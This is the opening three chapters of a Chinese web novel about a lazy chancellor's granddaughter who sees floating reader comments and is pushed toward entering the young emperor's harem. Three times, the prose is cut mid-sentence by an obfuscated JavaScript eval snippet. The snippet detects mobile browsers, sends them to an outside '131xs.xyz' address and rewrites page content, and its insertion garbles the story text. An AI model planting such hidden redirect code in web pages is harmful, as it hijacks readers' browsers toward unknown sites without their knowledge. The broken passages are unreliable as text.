《进宫后,咸鱼炮灰靠弹幕宫斗》 1. 第 1 章 “这哪来的神棍?简直是危言耸听!” 就在片刻前,沈岁安还惬意的躺在树荫下的摇椅上闭目养神,不远处放着一个巨大的冰鉴,身旁的美婢一个为她轻摇着蒲扇,要保证她不冷也不热,始终保持着舒适的温度。 另一个为她剥着今年宫里刚赐下的荔枝,送到她的嘴边,那荔枝水灵灵,甜腻腻的,沈岁安微微眯了眯眼,露出了幸福的笑容。 一切都是那样美好—— 直到春花跑来打破这份宁静。 “小姐,不好了!” 沈岁安被这声叫喊吓的一惊,全然忘了自己脸上还敷着黄瓜片,不顾形象的直接坐起。 “怎么了?” 春花一路小跑而来,口干舌燥,但连口茶水都来不及喝,连忙道:“小姐,今日奴照例跟着夫人为您请平安福,没想到抽到的却是下下签。” 大周兴盛佛道,上至王公贵族,下至平民百姓,无一不崇尚佛法。 沈府更是雷打不动的一月一请平安福。 但沈岁安却不把从这当一回事,上上签时只当是她应得的,下下签,那自然是抽签的人手气不好,关她何事? 听完后,沈岁安淡定的躺回去,接过刚刚剥好的荔枝,满不在乎的说: “这算什么事?不就是这个月倒霉一点,大不了我天天待在府中睡觉,我就不信,”沈岁安手指天空,“这霉还能从天上来。” 话落,奶白色带着些酸味的东西从天上落下,滴落在沈岁安的肩头。 沈岁安:“……” 她强装着镇定,但还是在侍女上前试图将她身上的脏污拭去时“哇”的一声,呕了出来。 她边拿帕子便擦着脸,对春花道:“你继续说。” 春花呆滞过后拼命的摇头:“这次不一样。” “小姐,夫人求的是姻缘。” 这倒是勾起了沈岁安的兴趣,她将帕子放到一边:“怎么说?” “夫人找了护国寺的高僧给您看,那高僧看了您的八字后给了这个。” 说罢,春花从怀里拿出了一张纸条,只见上面写着: “本应佳缘结鸾凤,奈何所嫁遇舛差。若遇破解安然渡,机缘应向天上查。” 沈岁安:? 她茫然的抬头望向天空,蓝蓝的,偶有几只鸟飞过,除此之外,什么都没有。 当沈岁安凝视天空时,也有人在凝视着她。 只可惜,她现在还看不见。 【终于开始了,不对啊,怎么给我切的是这个炮灰?】 【前面的,这本书就是男女主出场晚点,不要着急】 【话说,刚刚小炮灰是走了鸟屎运吗?哈哈哈哈哈】 …… 有了刚刚的经历,沈岁安条件反射的躲开: “什么意思?天上掉馅饼吗?” 春花摇摇头:“大师没说。” 沈岁安想不出来,索性就不想了。 “小姐,您不担心吗?” 春花看着沈岁安跟个没事人一样,心中很是疑惑,姻缘乃是女子的人生大事,寻常女子听到这个怕不是早就要吓晕过去。 这难道就是传说中文人所追求的豁达境界?没想到自家小姐年纪轻轻就已经达到了。 如果沈岁安知道此时春花心中所想,一定会说:有没有可能你家小姐只是单纯的懒。 “我问你,我是谁?” “相府嫡孙女。” “那不就得了,我祖父位极人臣,一人之下万人之上,门生遍布大周,这满京城的王公贵族谁见到不要给几分面子,又怎能欺负了我?” “他可会耽误我睡觉?” 春花老实答:“不会。” “那可会耽误我享受美食,欣赏美衣?” “也不会。” “那我还担心什么?” “可……”春花犹豫了一会儿,还是说:“可那位高僧说小姐可能会有性命之忧。” “哦”,沈岁安无可无不可的点点头,“然后呢,说要怎么破解了吗?” “让夫人给护国寺捐八百两香火钱。”春花说的声音越来越低,越来越没底气。 “八百两!怎么不去抢?” “这哪来的神棍?” 随着一声尖叫,天上的弹幕又开始滚动着: 【这不就是典型的你可以骗我的人,但是不可以骗我的钱】 【但其实,那老和尚算的还挺准的,这小炮灰可不就是要进宫了吗?】 …… “小姐慎言!那可是护国寺的高僧。” 春花一脸紧张的环顾四周,发现都是自己人后才松了口气,这话可不能叫旁人听了去。 沈岁安想,什么高僧,那分明是个招摇撞骗的神棍。 她越想越生气,直觉是国库又缺钱了,新上任的皇帝老儿想赚京城人的香火钱。 “母亲呢?” “夫人回来便去账房支钱了。” “那可不行。” 沈岁安顾不得没有敷完的脸,脑门上贴了个黄瓜片就要出去阻止自己那被神棍鬼迷心窍的娘。 …… 此刻大内,皇宫中—— 刚刚沈安然口中那一人之下万人之上的祖父正在跟皇帝下棋。 都说棋品如人品,观这位新上任小皇帝的棋,风格诡异,剑走偏锋,招招致命,其狠辣程度完全不像这个年纪会有的。 可怜沈文进一把年纪还要受这种煎熬。 他是第一次跟这位皇帝下棋,却不是第一个。 前面几个被叫来下棋喝茶的出去后有的人被贬,有的人“自愿”致士。 沈文进谨慎的落好每一步,可他所执的白子很快就被慕春杳的黑子包围。 “丞相,你输了。” “是陛下棋艺精湛,臣自愧不如。” 慕春杳轻笑,那笑声中听得出嘲讽:“丞相现在难道不应该觉得朕的棋非君子之道?” “臣不敢。” 沈文进惶恐的跪下请罪,慕春杳上前将人扶起:“沈相乃我大周三朝元老,底下门生无数,朕以后还要依仗着沈相的辅佐呢。” “陛下言重了,这些都是臣应当做的。” 沈文进三朝元老的名号可不是说说的,他能安然在官场上呆这样久,深谙中庸之道,可谓是从不站队,明哲保身。 按照沈文进以往的经验看,刚刚慕春杳将自己抬的那样高,肯定没想让自己干什么好事。 就在他思忖着这位陛下今天的目的时,果不其然,慕春杳下一句便是: “既然丞相如此忠心,朕还真有个不情之请。” “陛下请说,只要臣能做到,臣必将赴汤蹈火,在所不辞。” 此刻,沈文进还没有意识到这句话会有什么后果,如果再来一遍,他,不,是沈岁安,一定会紧紧捂上自家祖父的嘴。 慕春杳冰冷的神色有所缓和,露出了一抹和煦的笑容:“沈爱卿言重了,不用你上刀山下火海。不过是朕刚登基,后宫空虚,京中世家贵女众多,一时之间有些眼花缭乱,想让丞相帮忙掌掌眼罢了。” 你娶媳妇让我帮忙掌眼?那还真是病的不轻。沈文进在心中默默吐槽,可嘴上却还是道: “陛下信任臣,是臣的荣幸。只是不知陛下看上了哪家贵女?” “听说沈相有个孙女,名叫沈岁安,生的闭月羞花,活泼可爱,还多才多艺,才女之名名动京城,今年也到了婚嫁的年纪?” 沈文进神色一紧:“陛下说笑了,臣年事已高,还想多留岁岁几年。” 拒绝的很是利落,慕春杳脸色一黑,声音冷了下来:“怎么,丞相可是不愿?” 沈文进抬手擦了擦不存在的汗:“非也,只是岁岁怕是担不起这样的殊荣。陛下当知道,京城那些名号不可尽信。” “有什么不同?爱卿直说便是。” 慕春杳不以为意,再不济也是个世家养出来的小姐,能差到哪去? “岁岁比较懒,一天十二时辰能有六个时辰在睡觉。” “无妨,宫中床多得是,中宫空悬,也不用她请安,每天想睡到什么时候就睡到什么时候。” “岁岁还很能吃”,沈文进看了看自己的手,随后伸出了五个手指:“一顿能吃五个馒头!” 慕春杳神色依旧不变:“无妨,宫中有小厨房,御厨做的饭绝对比外面好吃。” 顿了顿,复而道:“不用她天天吃馒头。” 沈文进被噎住,这是天天吃不吃馒头的问题吗? “实话告诉您吧,岁岁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178186|180822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她睡相不是很好。打呼噜、磨牙、放……” “沈爱卿”,在沈文进说出那个字之前,慕春杳成功制止住了他。 慕春杳深吸一口气,咬牙道:“无妨,朕晚上……睡的死,嗅觉也不甚灵敏。” 沈文进:“……” 慕春杳堵上了沈文进的所有退路。 他不禁疑惑,沈岁安是他亲孙女吗?要知道,大周礼制虽不如前朝那样严,可闺中少女也是重名誉的。谁不想有个好声誉呢?这一番话传到外面,也不怕那些人背后笑话沈岁安。 沈文进又何尝不知这个道理,可大难临头,区区名声和掉进龙潭虎穴孰轻孰重他还是分得清的。 但慕春杳显然不买这个账,铁了心的想要沈岁安进宫。 “沈爱卿,朕知道你在担心什么。听说你还有一个孙子,马上要下场科考,令郎也马上要面临考评升迁。沈府未来的命运可尽握在你手中。” 沈文进轻叹一口气,终究是胳膊拧不过大腿,答应了让沈岁安来参加今年的选秀。 看着沈文进铁青的表情,慕春杳心中顺畅了不少,早就看不惯这笑面虎一向事不关己高高挂起的态度了。 但也不能把人逼得太紧,弦断了就不好了。 作为一个好领导,该画饼时就要画饼。 “知道沈爱卿爱孙心切,但也别心急。如今中宫之位空悬,以令爱的身份,未必就没有机会。” “呵,多谢陛下抬爱。” 直到沈文进退出大殿后才松了口气,事已至此,多说无益,还是回家想想怎么跟沈岁安解释吧。 想到沈岁安,沈文进又是一阵头疼。 …… 此时沈岁安还不知道自己刚被她那好祖父卖了,她来到账房,甫一进来就看到自家亲娘正在指挥家仆点出八百两现银。 看到沈岁安进来,沈夫人原本忧愁的面上立马被笑容覆盖:“岁岁来了,快进来。” 沈岁安扑倒沈夫人怀里,沈夫人一把接住了她,很自然的将她头上那片黄瓜取下来,随即勾了勾她的鼻子:“跟你说了多少次,即使在家也要注意一下自己的形象。” 沈岁安不管沈夫人说了什么,看着眼前这一片白花花的银子,心中泛起一阵抽疼,她捂着心脏蹲在地上。 这可把沈夫人吓坏了:“岁岁,你怎么了,别吓娘。” “春花,去叫郎中。” “等等!” 沈岁安站起身:“娘,我没事,就是得了一种看见钱就心痛的怪病,缓一缓就好。” 到底是自己生出来的,沈岁安在想什么,沈夫人一看就知道。 她用手戳了戳沈岁安的头:“小财迷,我这都是为了谁。” “娘,那些神棍有什么好信的,天天神神道道的,也没见真出过什么事。” 沈夫人作为护国寺的忠实信徒,自是听不得这话: “慎言,那可是个得道高僧,算的准的很。前段时间王家媳妇成亲多年无子,去护国寺求了求,也是这位高僧断言,说她作孽太多,命中本有子,但生生克掉了。” “也是让她往护国寺捐八百两香火钱。可王家媳妇哪受的了这种委屈,当即便黑了脸,扬言道那银子便是丢给路边的乞丐也不会给他。” “结果你猜怎么着?”沈夫人一脸神秘的看着沈岁安。 沈岁安轻嗤一声:“她怀上了?” “不,她家猪怀上了。” “这告诉我们什么?” 沈夫人问的很是严肃,弄得沈岁安也正了神色。一本正经的说:“告诉我们,没事少去算命,会变的不幸。” 沈夫人:“……” 油盐不进。 “这告诉我们要不听高僧言,吃亏在眼前。” 想到那八百两,沈岁安撇撇嘴:“我不管,反正我不同意捐那八百两。” 沈夫人见沈岁安立场明确,多说无益,便要让下人强行将沈岁安送回房间。 沈岁安自是不从,推搡间,不知怎的,她猛地撞上了身后的柜子,一个不稳,上面的花瓶便砸了下来。 原本还有些距离,但那花瓶愣是以一个诡异的角度砸到了沈岁安的脑门上: “还真是…祸从天上来。” 说罢,沈岁安便两眼一闭晕了过去。 2. 第 2 章 沈府又是一阵兵荒马乱,出了这档子事,沈夫人再顾不上那捐八百两的事,当即叫了郎中来。 沈云泽下学后听闻妹妹被从高处掉落的花瓶砸中晕了过去,顾不得换衣服,冲进了沈岁安的房间,一眼便看见板板正正躺在床上,双手交叠在胸前,一脸安详的妹妹。 “岁岁,岁岁你怎么了?” 沈云泽摇晃着沈岁安,试图将她叫醒,还是沈夫人一旁的嬷嬷先看不下去了,上前将人拉开:“大少爷,小姐只是被砸了一下,不是死人了,郎中很快就到。” 沈云泽心下稍定。 可郎中那边就不好了。 都说三人成虎,沈岁安被花瓶砸中的事不知怎的,传着传着就变了味儿。 第一个婢女传给了一个小厮:“快去叫郎中,小姐被花瓶砸中晕过去了。” 小厮又传给了门口的侍卫:“快去找郎中,小姐被砸中晕过去要死了。” 要死了? 侍卫不敢耽搁,找到郎中时,话已经变成了:“郎中,快去救救我家小姐,她被重物砸到,现在快断气了。” 事态紧急,侍卫一手抓起医药箱,一手拎起郎中就往回跑。 沈文进在路上听说自家孙女快死的事,暗道不好,不会是他要把人送进宫的消息这么快就让人知道了吧。 于是便快马加鞭的奔回了沈府,可怜他一个六旬老人,马鞭被轮出了火星子,跑到沈岁安房间时连胡子都在颤抖:“岁岁,岁岁没事吧,都是祖父对不起你,你可莫要寻了短见!” “爹,您在说什么,岁岁不过是被花瓶砸了一下,怎么就扯到寻短见上了?” 沈夫人怪异的看着一路奔来的公公,沈文进讪讪一笑,尴尬的闭上了嘴。 屋子陷入了一种诡异的宁静,而这种宁静很快便被侍卫扛来的郎中打破。 “是谁受伤要不行了?” 众人一惊,还是沈夫人最先反应了过来:“大夫,您快看看我女儿是怎么回事?” 郎中仔细检查了一遍沈岁安的额头,最后发现只是破了层皮后,又不信邪的检查了一遍,依旧是只有这一个,虽说心有疑惑,但还是先让沈夫人放宽心: “夫人且放心,令爱伤口并无大碍,上些药便好,保证连疤都不会留。” 听得此言,沈夫人松了口气,但看见躺在床上依旧不醒的沈岁安,问道:“那我儿为何还不醒,会不会是砸出了什么隐疾?” 听了这话,郎中有仔仔细细的把了一遍脉象,但这脉象壮如牛,恐怕许多二十多岁的男子都比不上。 他迟疑道:“令爱大约是…睡着了。” 众人:“……” 送走郎中后,沈夫人无奈的看着床上已经开始打小呼噜的女儿,无奈的叹口气,想要说点什么,但终究是什么都没说,只是嘱咐春花道:“好好照顾小姐。” 睡梦中的沈岁安也并不安稳,梦中沈岁安刚试完绣娘送来的今夏新衣,很是满意。那衣裳由浮光锦织成,走起路来随步摇曳,阳光下远看像是有细碎的光尘簌簌落下来,裙角流苏轻轻摇晃,穿上的人好似九天神女下落凡尘。 周围的绣娘和侍女们赞不绝口,一口一个夸赞极大的满足了沈岁安作为少女追求美貌的虚荣心。 但人们总是不知道明天和意外哪个先来临,沈岁安亦是如此。只见方才还晴空万里的天空忽然就暗了下来,本以为是要变天,可沈岁安抬头一看,就发现根本不是这样—— 天上不知何时聚集了一大群乌鸦,将阳光遮挡住,好似乌云蔽日。 在大周,乌鸦可不算什么好兆头,沈岁安只觉晦气,破坏了她的好心情。可那些乌鸦好似有读心术,感知到沈岁安所想,此起彼伏的叫着,表达着不满。 它们在天空盘旋着,叫着,声音嘶哑,极为难听,就在沈岁安还想说些什么的时候,一个闻起来熟悉的白色物体掉落下来,再次落在沈岁安的肩头,毁掉了她钟爱的浮光锦。 一个尤为不够,又接二连三的滴落了几个。 沈岁安先是一愣,反应过来后怒火直直往上冒。 “我的新衣服!” 她本想让春花来帮她,可周围的婢女不知跑到了何处,院子中唯剩沈岁安一人。 沈岁安心中崩溃,指着天上那群乌鸦开始破口大骂:“你们知不知道这浮光锦有多贵,有本事你们给本小姐下来,哔*——” 那群乌鸦听懂了沈岁安的话,成群结队的俯冲下来,沈岁安这才感到害怕:“我刚就是说着玩玩,你们别过来!” 乌鸦依旧我素,直冲着沈岁安飞来,沈岁安绝望的闭上了眼,可乌鸦到了眼前,竟化作一个个文字砸了下来。 “不要!” 沈岁安被梦境惊醒,她大口喘着粗气,回想着梦境中的事,后背被汗水浸湿了一片,让她无端感到冷意。 “春花”,春花就守在外间,听见里面的动静,快步小跑进来:“小姐,你可终于醒了,您都睡了一天一夜了。” “一天一夜?” 沈岁安扶额,她并没有感觉到时间过了多久,想起梦中的场景,再结合近来之事,沈岁安将其都归结为日有所思夜有所梦,暗啐了一口:“神棍误我。” “对了小姐,老爷夫人让您醒了之后吃点东西就去书房找他们,据说老太爷也在。” “祖父?”沈岁安惊讶,他们家可很少有聚这么齐的时候,她觉得一个下下签也不至于搞的如此兴师动众。 “好。” 说罢,沈岁安准备下床,可不知看到了什么,又猛然缩回床上。 她手指着前方,眼神里满是惊恐:“春…春花,你看到什么东西了吗?” 春花顺着沈岁安手指的方向看去,却什么都没看见。 “没有啊,小姐,你不会睡傻了吧。” 沈岁安不信邪的揉了揉眼,又什么都没有了。 “我刚刚明明看……” 沈岁安霎时住口,她刚刚看到了那上面飘过几行小字一闪而过,速度太快,她只看清了三句话,上面写着: 【这就是那个即将进宫的炮灰女配?】 【前面的,你还真别说,她长的好漂亮】 【可惜了,她现在还不知道,自己亲爹和亲祖父要把他送进宫】 那里面有些字词沈岁安看不懂,但她却敏锐的捕捉到“进宫”的字眼。 谁要把她送进宫?爹和祖父?沈岁安第一反应是不信,但想到那张有关姻缘的下下签,再加上是有消息说新帝要选妃来着,她又有些迟疑。 “小姐?” 春花的手在沈岁安面前晃了晃,“您没事吧,要不奴去叫郎中来?” 看着自家小姐自醒来后就一直魂不守舍的,春花不禁有些担心起沈岁安的精神状况来,不会真的给砸傻了吧? “不用了。” 沈岁安制止了春花的动作,她现在已经完全冷静下来。 想知道那上面说的是不是真的,方法很简单,待会儿问问便知。倘若是,这应该就是她那“从天而降”的机缘,不能和别人说。倘若不是,那就更不能说了,她会被当做失心疯关起来的。 心中打定了注意,因着装着事,即便沈岁安已经一天没吃饭,早饭还是吃的心不在焉的,一反常态。 “小姐,可是今天的饭菜不和胃口?” 今天来送菜的侍女小心翼翼的问道。 听夏是新来的,听说这位相府小姐好伺候才使了银子让管事的把她分到这。如果上任第一天就被主子嫌弃,那她以后还有什么好日子过。 听夏心中忐忑,等候着最后的审判,甚至还因为紧张打颤。 沈岁安看这小婢女这幅模样,心知是把人吓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178187|180822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了,对此感到抱歉。 “行了,我又不能吃了你。” 她重重叹了口气,随后将筷子放下。看着满桌只动了几口的饭菜也觉得可惜,于是她挥挥手: “都拿去分了吧。” 小婢女们得了赏赐后都高兴的不得了,春花看着明显状态不对的沈岁安很是担忧:“小姐,您真的不再用点?” 要知道,沈岁安上一次吃的这么少,还是再换牙的时候,什么都咬不动。甚至为了啃块排骨又硬生生的将另外的牙硌掉。从此很长一段时间内只能吃流食。 沈岁安摇头,故作深沉道:“你不懂。” “走吧,去找祖父他们。” 刚出门便遇上了沈云泽。 沈云泽看见沈岁安后很是惊喜:“妹妹!” “爹娘也叫你去书房?” 沈岁安点点头,沈云泽看自家妹妹蔫下去的神情,想到之前她砸了沈夫人要送进宫中的玉如意时也是这幅表情,心神一动,拉沈岁安到一边,神神秘秘道:“好妹妹,你老实跟哥哥说,你是不是又闯祸了。” “这样,你先跑,去老地方躲着,哥哥替你去挨揍。等风头一过,你再回来。” 沈云泽就是这样,替沈岁安挨了无数次的打,却也从没喊过冤。 沈岁安想到刚刚那行字,扯出一个比哭还难看的笑容:“不用了哥哥,我没闯祸。” 沈云泽挠挠头,迟疑道:“那走吧。” …… 书房内,几人安静的喝着茶。 沈夫人眼睛红红的,似是刚哭过,沈平川也扳着一张脸。作为沈岁安的亲爹,他自是不愿女儿到后宫那样的龙潭虎穴受苦,可他又清醒的知道,沈文进做的决定没错。 沈家现如今不过是看着表面风光,实际上因为在慕春杳上位前沈家并没有支持他,甚至还可能不经意间阻挠过他一些事情,这位新上任的这位皇帝早看他们家不顺眼了。 沈文进则是在想待会儿要怎么跟沈岁安解释。 几人心中各怀心事,是以一时间场面有些尴尬。 “祖父,父亲,母亲。” 直到沈岁安和沈云泽进来才打破了这诡异的气氛。 沈文进见人来了,热情招呼道:“来了,快坐下。” 他搓搓手,不知为何,平常能在朝堂上舌战群儒的沈相今日面对一群小辈时竟有些拘谨。 “吃了吗?” 话出,沈文进才知道这话问的多余,于是只好讪讪一笑,暗地里使了个眼色让沈平川来。 那眼神明晃晃写着:你才是她亲爹,你上。 沈平川回的眼神也很干脆:又不是我答应的。 沈岁安平静的看着祖父先是没话找话,再是和自家亲爹的眼神戏,心中差不多有了数。 看了天上字说了十有八九是真的。 她甚至不禁想,看来护国寺那神棍有点东西在身上,俗话说破财免灾,也不知道现在去交八百两还来不来得及。 一旁的沈平川最终在亲爹的淫威下不得不屈服,轻咳了一声,笑道:“这个,今天叫你们来,是商量一下岁岁的终身大事。岁岁也老大不小了,是该嫁人了。” 虽然已经知道结果,但沈岁安还是心头一紧,只要还没盖棺定论,那就是一切皆有可能不是吗? 她开口,眼里带着希冀,连自己声音在打颤都没注意:“不知,爹爹相中了哪家公子?” 沈平川强笑道:“这位公子说起来,那可真是身份尊贵,英俊潇洒,龙章凤姿……” 还没等他说完,沈夫人先听不下去了,打断了沈平川,直截了当开口:“你爹要把你送进宫。” 话出,书房内顿时鸦雀无声,沈平川甚至都不敢看女儿。 还没等沈岁安说话,沈云泽率先起身反对道: “我不同意!” 3. 第 3 章 “我不同意!” 名贵的瓷器砸在地上,发出清脆的响声,可上首的人显然心情不是很好。 “沈氏女怎可进宫?” 坐在上首的美妇人胸口剧烈起伏着,虽已是四十有余,但因着保养得当,看着像是三十多岁的样子。面若银盘,满头珠翠更是将人衬托的雍容华贵,而此时却因发怒而显得面目狰狞起来。 “太后息怒。” 宫人跪了一地,听着上面的贵人发怒,纷纷努力将头埋低,生怕一个不小心牵连了自己。 王嬷嬷平静的看着满地狼藉,像是习以为常,看太后还想再说些什么,便使了个眼色让人退下,而后倒了杯茶水递给太后顺气。 太后看着手里的茶水,一饮而尽:“这么多年,也只有王嬷嬷一人合哀家心意。” “能得太后赏识,是老奴的荣幸。” 王嬷嬷回答的不卑不亢,即便是身边老人,也从不仗着资历拿乔,这态度让太后又满意了几分。 想着近来发生的事,没一个让她顺心的,忍不住头疼。 “皇帝就这么不想让哀家的人在宫中出头?前面刚来个贤妃,后面又要迎沈氏女进宫,身份一个比一个高,这后位又怎会落到蓉儿身上?” 贤妃是皇帝母家的人,从龙有功暂且不论,可沈岁安又是个什么东西,也配进宫跟蓉儿争? 王嬷嬷上前为其揉按着太阳穴,宽慰道:“太后好歹也是皇上名义上的嫡母,想必好好跟皇上说说,皇上也会答应的。” “再说了,凭着蓉小姐的资质,又何愁进宫后不会得宠?” 太后听见恭维自己的话,心情果然舒畅了许多,轻哼了一声:“哀家的侄女,自然是最好的。” 不知又想到了什么,太后拧起眉头:“可这皇帝登基后,从未踏足过仁康宫,万一不同意怎么办?” “孝道当先。” 只四个字,就让太后放下心来,大周孝字治国,她虽是继母,但到底将皇帝拉扯大,没有生恩也有养恩在。 “你说的对”,太后坐起身,“既如此,那就去请皇帝过来吧。” “听说母后找朕?” 慕春杳听说太后在仁康宫发了好大一顿脾气,便再顾不得看那些无趣的折子,急匆匆赶来看热闹。 太后望向门口,对上了一双似笑非笑的眸子。 那双多情的桃花眼看人时本该温柔多情,可太后愣是觉得此时慕春杳的眼睛里没有一点温度,像是在看一个死人。 反应过来自己在想什么后,太后一惊,自己怎么会被一个二十多岁的孩子吓到,一定是自己多心了。 其实太后想的没错,她确实是多心了。慕春杳那可不是没温度,如果近看,那分明是幸灾乐祸,看热闹不嫌事大。 一室碎瓷还没来得及收拾,正巧被慕春杳看见,只见他眉头一挑:“太后这是发了好大的脾气,气大伤肝,太后还是保重身体为好。” “皇帝今日倒是终于有时间来关心哀家,还有,按规矩,你当叫哀家一声母后。” 自慕春杳上位后,从未踏足过仁康宫一步,劝诫他的折子一道接着一道,但都被他压了下来,寻了其他理由,该罚罚,该贬贬。 “母后”,慕春杳玩味的轻念着二字,对此不置可否,却依旧我行我素。 看着一室狼藉,心中很快有了计较。 “倒也不是关心太后,只是”,慕春杳指着满地碎瓷,道:“这个是定州红瓷,价值千金,那个是青花琉璃盏,乃是前年国岁时外邦所供。” “哦,对了,还有这个芙蓉白玉杯,价值连城。” “这些东西碎了尚宫局可不会为您补,还有,它们属于宫中财务,坏了或碎了都是要登记的,您看?” 太后好不容易暂平下去的怒火又被挑起,眼下之意,是要让她补上空缺? “历代从没有这样的先例。”太后冷声道。 “历代皇帝重孝道,所以大多都是从私库出。可是太后”,慕春杳顿了顿,不欲跟眼前的人虚与委蛇,直言道:“朕为何要帮你?” “你——” 赶在太后发怒之前,慕春杳接下了太后的话:“既然太后如此在意这件事,那朕就只能只好从庆王的年俸里扣了。” “按例,亲王的年俸一千两,这些东西,朕看在都是一家人的份上,就按庆王两年俸禄算。” “那可是你亲弟弟!” 想着自家儿子平常那花钱大手大脚的样子,南边养着的那些,可都是吞金兽。军饷、粮草,可处处都是钱。 看着慕春杳的样子,太后心中忽地“咯噔”一下,想着皇帝是不是知道庆王在做些什么。 慕春杳这时也在心里暗自盘算,庆王最近可不安生,正好接太后的事趁机发落了他,这些银子虽然动不到他的根本,但也够他忙一阵子,不在他面前找事。 癞蛤蟆它虽然不咬人,但它膈应人啊! 太后早已被气到说不出话,王嬷嬷在一旁拦着:“娘娘,莫要动怒,有什么事等庆王进宫再说。” 现在是在别人的地盘上她们可占不到便宜,当然,这句话没说,太后却意会出来了。 慕春杳早已出去,但浑厚的声音还是透过殿门进了太后的耳朵里:“还有,朕的后宫朕做主,太后还是不要管的太宽为好,不然,朕可不能保证未来庆王妃到底出自哪家,会不会缺胳膊少腿。” 太后一口银牙咬碎,威胁,这时赤裸裸的威胁。 …… 沈府内,气氛也是剑拔弩张,沈云泽和沈平川僵持着,沈文进在一旁默不作声,闭目养神,沈夫人在一旁也是一脸怨怼。 书房内最放松的倒属沈岁安了。 “爹,你糊涂了。那皇宫是人待的地方吗?怎么能把妹妹送去那种地方?且先不论当今陛下怎么样,就论皇宫里的阴谋诡计,凭妹妹的脑……” 话说到一半,沈云泽顿住了,本想说凭沈岁安的脑子在里面活过一个月都够呛,但反应过来那不就是在说岁岁笨嘛,万一伤到自尊心怎么办? 于是话到嘴边就变成了:“凭岁岁这吃吃喝喝,玩玩闹闹,与世无争的性子,宫中可不适合她。” 沈岁安:你人还怪好的嘞,就差说她缺心眼了。 沈文进看见在一旁从头到尾没有说过话的沈岁安,忽道:“岁岁,你怎么想?” 谁知沈岁安第一句话便是:“母亲,现在去捐那八百两还来得及吗?” 沈夫人:? 只听沈夫人嗤笑一声:“现在信了?晚了。” 沈岁安对此表示很遗憾。 可在场除她们之外的三人对此都不知情,沈文进问道:“什么八百两?” 沈夫人又将下下签的来龙去脉又讲了一遍,其他三人都是一样的反应: 这个和尚,有点东西在身上。 话题跑偏,沈文进言归正传,连忙将话题拉回来,拼命想要扯出一副笑容,却比哭还难看,索性便放弃了:“岁岁,你想不想进宫?” “当然是——” 话还未说完,沈岁安又看到了天上在飘字: 【这是女配家人要把她送进宫那段吧?】 【我记得女配当场拒绝后就被她爷爷罚了禁足,直到进宫选秀都没出去过呢】 【可惜了】 弹幕哀叹声连连。 “岁岁?” 沈文进看沈岁安一直盯着某一处发呆,还以为沈岁安是被吓傻了,不由得出声提醒。 沈岁安回过神来,把“不想”二字咽下去,道:“当然是‘想’了,爹娘养育了我这么多年,我也是时候回报一二。” 弹幕炸了: 【不是妹妹,你怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178188|180822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么能说想呢?】 【你不禁足,怎么加剧和家里的矛盾,男主又要怎么离间你们?】 …… 沈岁安余光瞟到,但笑不语。 沈云泽对沈岁安的回答很是震惊。其实不止他,任何了解过沈岁安的人,都不信她会说出这番话,可沈岁安的声音犹在耳边,由不得他们不信。 “岁岁,你认真的?”沈文进狐疑,这么容易的吗?本以为要经过一番唇枪舌战,可现如今顺利的让人不敢想象。 沈岁安点点头,扬起天真可爱的脸庞,问道: “宫里有美食吗?” 沈文进点头:“全京城都找不出比宫里御厨做饭更好吃的厨子。” “有美衣吗?” “有,像你平常钟爱的浮光锦,在宫中要多少有多少。” “那我可以睡觉吗?” “宫里的宫殿很多,随你睡。” 沈文进将慕春杳的原话搬来。 【这还是真咸鱼啊!】 咸鱼为何意? 就在她想要再看看的时候,天上字又消失不见了。沈岁安心中虽急,但也顾不得许多,继续问: “那我睡相不好,我睡觉抢被子,打呼噜磨牙还……” “停!” 就算沈文进再迟钝现在也反应过来了,沈岁安哪里是在问问题,这分明是在挑刺。 他终于明白了当初他和慕春杳掰扯的时候,慕春杳的心情了。 "陛下他,睡的死,身体好,冻不着。" 沈岁安:“……” “我要是被人害了怎么办?” 这个问题,沈文进不是没想过。 但似乎唯一的解法便是他在宫中多安排点人守着沈岁安,最坏的结果不过是万一出了什么事,他就算拼着这一把老骨头不要,也要保下她。 沈夫人也看出女儿的真实想法,问道:“岁岁,娘最后再问你一次,你到底想不想进不进宫?” 看着家人对自己的关心,沈岁安忽然就有了勇气拒绝,她摇摇头,甚至声音中还带了点哭腔: “不去,岁岁害怕。” “好。” 沈夫人答应的干脆,声音温柔且坚定。 沈平川自是和夫人一个立场: “不去就不去,我们沈家的女儿,凭何去受苦?” 沈云泽也在旁边附和着。 沈文进重重叹息一声,但也没说什么,随他们去了。 看来那些字说的也不准,沈岁安暗想,那她是不是也能改变许多东西? 众人沉浸在喜悦中。 …… 只可惜,事与愿违,慕春杳的速度永远很快,第二日,礼部便来人了。 入宫选秀的秀女也是有讲究的,第一便是合八字。 